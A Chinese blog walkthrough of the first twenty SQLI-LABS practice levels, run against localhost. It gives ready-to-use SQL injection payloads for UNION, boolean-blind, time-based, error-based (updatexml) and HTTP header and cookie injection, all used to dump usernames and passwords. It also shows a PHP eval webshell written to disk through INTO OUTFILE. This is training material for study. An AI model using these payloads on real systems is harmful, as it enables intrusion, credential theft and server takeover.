0
点赞
收藏
分享

微信扫一扫

记SQLI-LABS注入前20关(图文)

爱奔跑的读书者 2022-01-20 阅读 59

Sqli-labs项目地址—Github

使用HackBar插件

less-01:

Sqli-labs前20关均为数字型注入

Sqli-labs前四关较为类似以less-01为模板

将网址导入HackBar中:

1.根据提示,输入http://127.0.0.1/sqli/Less-1/?id=1'查看注入:

正常报错,输入--+进行注释:


2.输入http://127.0.0.1/sqli/Less-1/?id=1' order by 1--+查找:

出现用户名和密码。

继续输入 order by 2--+,order by 3--+,当输入 order by 4--+时:

出现报错,说明数据库只有三列


3.输入http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,2,3--+

来判断三列数据的回显点,用1,2,3来标记:


4.输入http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,2,database()--+在3回显点处输出当前数据库名:


5.输入http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,2,table_name from information_schema.tables where table_schema='security' limit 1,1--+查看位于security库下的第一个表:

通过limit x,1可以一个一个查看表名,也可使用函数将数据一起输出:

6.输入http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+查看库中所有的表:


7.输入http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,2,column_name from information_schema.columns where table_name='users' limit 0,1--+查看user表中的第一个列:

同上运用函数可输出所有的列:


8.输入http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,2,concat_ws('~',username,password) from security.users limit 1,1--+查看一个账号和密码以“~”隔开

结合函数可得到所有账号和密码:


less-02:

同第一关输入http://127.0.0.1/sqli-labs-master/Less-2/?id=1'

出现不同于第一关的报错,根据于第一关对比的报错提示可将注入改为:

http://127.0.0.1/sqli-labs-master/Less-2/?id=1 --+

可通过与第一关相同的方法查看信息:

提示:将特殊字符或名字改为16进制是一种好习惯:

原始十六进制
'security'0x7365637572697479
'users'0x7573657273
'~'0x7e

<span style="background-color:#f8f8f8"><span style="color:#333333">1.http://127.0.0.1/sqli/Less-2/?id=1'      查看是否有注入
2.http://127.0.0.1/sqli/Less-2/?id=1 order by 3--+   查看有多少列
3.http://127.0.0.1/sqli/Less-2/?id=-1 union select 1,2,3--+ 查看哪些数据可以回显
4.http://127.0.0.1/sqli/Less-2/?id=-1 union select 1,2,group_concat(schema_name) from information_schema.schemata --+ 查看所有数据库
5.http://127.0.0.1/sqli/Less-2/?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479 --+查看所有的表
6.http://127.0.0.1/sqli/Less-2/?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 --+查看所有的列信息
7.http://127.0.0.1/sqli/Less-2/?id=-1 union select 1,2,group_concat(concat_ws(0x7e,username,password)) from security.users --+查看所有的账号和密码,并且使用~符号进行分割</span></span>


less-03:

同第一关输入http://127.0.0.1/sqli-labs-master/Less-3/?id=1'

根据提示输入改为:

http://127.0.0.1/sqli-labs-master/Less-3/?id=1') --+

可通过与第一关相同的方法查看信息:

<span style="background-color:#f8f8f8"><span style="color:#333333">1. http://127.0.0.1/sqli/Less-3/?id=1'   查看是否有注入
2. http://127.0.0.1/sqli/Less-3/?id=1') order by 3--+ 查看有多少列
3. http://127.0.0.1/sqli/Less-1/?id=1') union select 1,2,3--+ 查看哪些数据可以回显
3. http://127.0.0.1/sqli/Less-3/?id=-1') union select 1,2, group_concat(schema_name) from information_schema.schemata --+ 查看所有数据库
6. http://127.0.0.1/sqli/Less-3/?id=-1') union select 1,2, group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479 --+查看所有的表
7. http://127.0.0.1/sqli/Less-3/?id=-1') union select 1,2, group_concat(column_name) from information_schema.columns where table_name=0x7573657273 --+查看所有的列信息
8. http://127.0.0.1/sqli/Less-3/?id=-1') union select 1,2, group_concat(concat_ws(0x7e,username,password)) from security.users --+直接可以得到所有的账号和密码,并且使用~符号进行分割。</span></span>


less-04:

同前面输入http://127.0.0.1/sqli-labs-master/Less-4/?id=1‘

继续测试,输入:http://127.0.0.1/sqli-labs-master/Less-4/?id=1"

根据提示输入改为:

http://127.0.0.1/sqli-labs-master/Less-4/?id=1“)--+

接下来可通过与第一关相同的方法查看信息:

<span style="background-color:#f8f8f8"><span style="color:#333333">1. http://127.0.0.1/sqli/Less-4/?id=1"查看是否有注入
2. http://127.0.0.1/sqli/Less-4/?id=1”) order by 3--+ 查看有多少列
3. http://127.0.0.1/sqli/Less-4/?id=-1“) union select 1,2, group_concat(schema_name) from information_schema.schemata --+查看所有数据库
6. http://127.0.0.1/sqli/Less-4/?id=-1”) union select 1,2, group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479 --+查看所有的表
7. http://127.0.0.1/sqli/Less-4/?id=-1“) union select 1,2, group_concat(column_name) from information_schema.columns where table_name=0x7573657273 --+查看所有的列信息
8. http://127.0.0.1/sqli/Less-4/?id=-1”) union select 1,2, group_concat(concat_ws(0x7e,username,password)) from security.users --+直接可以得到所有的账号和密码,并且使用~符号进行分割。</span></span>


总结前四关可看出sqli-labs常见注入形式有:

  1. 1

  2. '1'

  3. "1"

  4. ('1')

  5. ("1")

less-05:

同第一关输入http://127.0.0.1/sqli-labs-master/Less-5/?id=1'

提示:

想显示图中多出的语句可在源码$sql处中加入如图代码:

根据提示可输入:http://127.0.0.1/sqli-labs-master/Less-5/?id=1‘--+

通过不同测试可以知道less-05只返回对错无回显点:


补充函数:

此关属于bool盲注,需要一个一个试,有两种方法:

(1)使用burpsuite进行抓包爆破:

输入http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and left((select database()),1)='s'--+

burpsuite抓包,以“s“作为报破点:

设置有效载荷选项,线程数设为30:

爆破后通过不同的返回长度可知道正确字符:

将1变为2,其他不变同样流程进行爆破。

接下来同上关顺序改变语句依次进行查表查列等操作。

(2).使用ascii().substr()函数利用二分法猜测字母:

输入http://127.0.0.1/sqli-labs-master/Less-5/?id=1 ' and ascii(substr((select schema_name from information_schema.schemata limit 1,1),1,1)) >100--+

1.即判断当前库的第一个字母的ASCII码是否大于100:

结果无返回值,可知当前库的第一个字母的ASCII码并不大于100。

2.利用二分法,改变数值,即输入http://127.0.0.1/sqli-labs-master/Less-5/?id=1 ' and ascii(substr((select schema_name from information_schema.schemata limit 1,1),1,1)) >50--+

出现回显,说明当前库的第一个字母的ASCII码大于50。

3.同理继续输入http://127.0.0.1/sqli-labs-master/Less-5/?id=1 ' and ascii(substr((select schema_name from information_schema.schemata limit 1,1),1,1)) >75--+

有回显。

4.输入http://127.0.0.1/sqli-labs-master/Less-5/?id=1 ' and ascii(substr((select schema_name from information_schema.schemata limit 1,1),1,1)) >87--+

有回显。

5.输入http://127.0.0.1/sqli-labs-master/Less-5/?id=1 ' and ascii(substr((select schema_name from information_schema.schemata limit 1,1),1,1)) >93--+

有回显。

6.输入http://127.0.0.1/sqli-labs-master/Less-5/?id=1 ' and ascii(substr((select schema_name from information_schema.schemata limit 1,1),1,1)) >96--+

有回显。

7.输入http://127.0.0.1/sqli-labs-master/Less-5/?id=1 ' and ascii(substr((select schema_name from information_schema.schemata limit 1,1),1,1))= 97--+

有回显,说明当前库的第一个字母的ASCII码等于97,即为“s“。

8.同理,运用函数可查出其他表,列等:


less-06:

同第一关输入http://127.0.0.1/sqli-labs-master/Less-6/?id=1'

可知输入http://127.0.0.1/sqli-labs-master/Less-6/?id=1"--+进行注入。

注:未改动源码不显示处理语句只显示"You are in....."时可用注入常见格式如: ' " ') ") 进行猜测。

其他和less-05相同,可用同样方法进行。


less-07:

使用中国菜刀或中国蚁剑;

这里用中国蚁剑:

输入http://127.0.0.1/sqli-labs-master/Less-7/?id=1'

可知输入http://127.0.0.1/sqli/Less-7/?id=1')) --+

输入http://127.0.0.1/sqli/Less-7/?id=-1')) union select 1,2,'<?php @eval($_POST[“shell”]);?>' into outfile '本关于电脑中的地址' --+

进行一句话木马的上传。

可见文件夹中已创建了对应php文件:

用中国蚁剑进行连接:

即可查看信息:


less-08:

输入http://127.0.0.1/sqli-labs-master/Less-8/?id=1'--+

判断这里出现注入漏洞‘

此关盲注有两种方法:

(1)布尔盲注:

与第五关完全相同。

(2)时间盲注:

输入 http://127.0.0.1/sqli/Less-8/?id=1' and if(length(database()) = 8,1,sleep(5))--+

即当数据库长度为8的时候很快加载,而为其他值得时候加载较慢(5s左右),那就说明此时数据库的长度就是8(security)。

也有 http://127.0.0.1/sqli/Less-8/?id=1' and if(ascii(substr((select database()),1,1)) >113,1,sleep(5))--+

如果当前数据库的第一个字母的ascii值大于113的时候,会立刻返回结果,否则执行5s。

通过时间盲注的方式,可以用盲注的流程得到数据。


less-09:

输入http://127.0.0.1/sqli-labs-master/Less-9/?id=1'--+时发现不管输入什么都会显示出You are in......

可使用时间盲注:

输入http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and sleep(5)--+

通过时间延迟可知在此处存在注入点。

利用与上关相同的方法进行时间盲注:

输入 http://127.0.0.1/sqli/Less-9/?id=1' and if(length(database())=8,1,sleep(5))--+

(通过返回时间进行判断,此时如果数据库长度为8,则可以较快返回。)

方式方法均与上关时间盲注相同。


less-10:

通过注入测试本关注入点为http://127.0.0.1/sqli/Less-10/?id=1“

其他与第九关完全相同。


第十一关开始都为POST传输方式

可在主页直接填写进行POST传输,也可使用HarkBar的POST传输方式:

less-11:

POST传输方式

这是正确的登录界面:

在username中填写'出现报错可知存在注入漏洞。

在username中填写 admin' or 1=1#

(此处不能使用--+,因为--+主要使用在url中,#是通用的)

uname=a' or 1=1 #& passwd=a &submit=Submit

登录成功,可以验证存在注入漏洞.

也可在password位置进行验证:uname=a&passwd=a' or 1=1# &submit=Submit

一样可以成功登录。

使用uname=a' order by 2#&passwd=a &submit=Submit

或用 uname=a&passwd=a' order by 2# &submit=Submit

可判断有两列。

使用uname=a&passwd=a' union select 1,database() # &submit=Submit 或用uname=a' union select 1,database() # &passwd=a&submit=Submit

可查询到当前数据库信息。

剩下的原理与前五关相同:

使用uname=a' union select 1,(select schema_name from information_schema.schemata limit 1,1) # &passwd=a&submit=Submit 可以查询到当前的第一个数据库, 或用:uname=a' union select 1,(select group_concat(schema_name) from information_schema.schemata) # &passwd=a&submit=Submit 可以得到所有的数据库。

uname=a' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479) # &passwd=a&submit=Submit 可以得到security数据库中的所有的表信息.

uname=a' union select 1,(select group_concat(column_name) from information_schema.columns where table_name=0x7573657273) # &passwd=a&submit=Submit 通过users表获得里面值

uname=a' union select 1, group_concat(concat_ws('~',username,password)) from security.users # &passwd=a&submit=Submit 此时就可以得到里面所有的数据。


less-12:

通过注入测试本关注入点为:uname=admin“) or 1=1# &passwd=a&submit=Submit

其他与第十一关相同。


less-13:

通过注入测试本关注入点为:uname=admin’)or 1=1# &passwd=a&submit=Submit

但发现只显示成功登录与登录失败,需要盲注:

可用时间盲注或布尔盲注

可输入uname=admin&passwd=ain') or left(database(),1)>'a'#&submit=Submit

判断当前数据库。

其他流程为盲注基本流程,与第六关相似。


less-14:

通过注入测试本关注入点为:uname=admin“ or 1=1# &passwd=a&submit=Submit

其他与第十三关相同。


less-15:

通过注入测试本关注入点为:uname=admin‘ or 1=1# &passwd=a&submit=Submit

其他与第十三关相同,均可用布尔盲注或时间盲注。


less-16:

与十四关相同🤨🤨


less-17:

•使用了get_magic_quotes_gpc , name和password分开验证,而且在验证的时候对于name进行了过滤处理,将’进行了转义

•首先我们要知道用户的名字是多少,然后才可以进行接下来的操作

这里用updatexml()报错注入

而我们的注入语句为:

select updatexml(1,concat(0x7e,()),1)

其中的concat()函数是将其连成一个字符串,因此不会符合XPATH_string的格式,从而出现格式错误,爆出结果

输入 uname=admin&passwd=adm ' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1),0x7e),1)#&submit=Submit

可以得到security库下面的其中一个表名字,也可改变参数或取其他表。

输入uname=admin&passwd=adm ' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 0,1),0x7e),1)#&submit=Submit

同样的方法可以获得其他的数据


注意:

十七关可以改密码,改动会保存在数据库中。

less-18:

Harder注入.

登录失败显示ip地址:

登录成功显示ip地址和User-Agent:

经测试用户名和密码处有转义无法进行注入,需用burpsuite进行抓包,进行Harder注入.

先进行抓包:

' or updatexml(1,concat(0x7e,(database())),1), '','')# 填入User-Agent中进行注入

image-20220118175159073

可知道当前库。

同样输入' or updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1)),1), '','')#

获取库名。

输入' or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1)),1), '','')#

获取表名。

输入' or updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 0,1)),1), '','')#

获取列名。

输入' or updatexml(1,concat(0x7e,(select username from security.users limit 0,1)),1), '','')#

获取字段吗名等。


less-19:

登陆成功会显示Referer信息:

登陆失败不显示任何信息:

此关除此之外与十八关无任何区别。


less-20:

登录成功:

本关将username放在了cookie里,可在cookie里进行注入。

使用burpsuite进行抓包:

可见username在cookie里。

在cookie里输入' union select 1,2,database()#

接下来就是在cookie里进行简单的注入像前五关。

前二十关完🦊

举报

相关推荐

0 条评论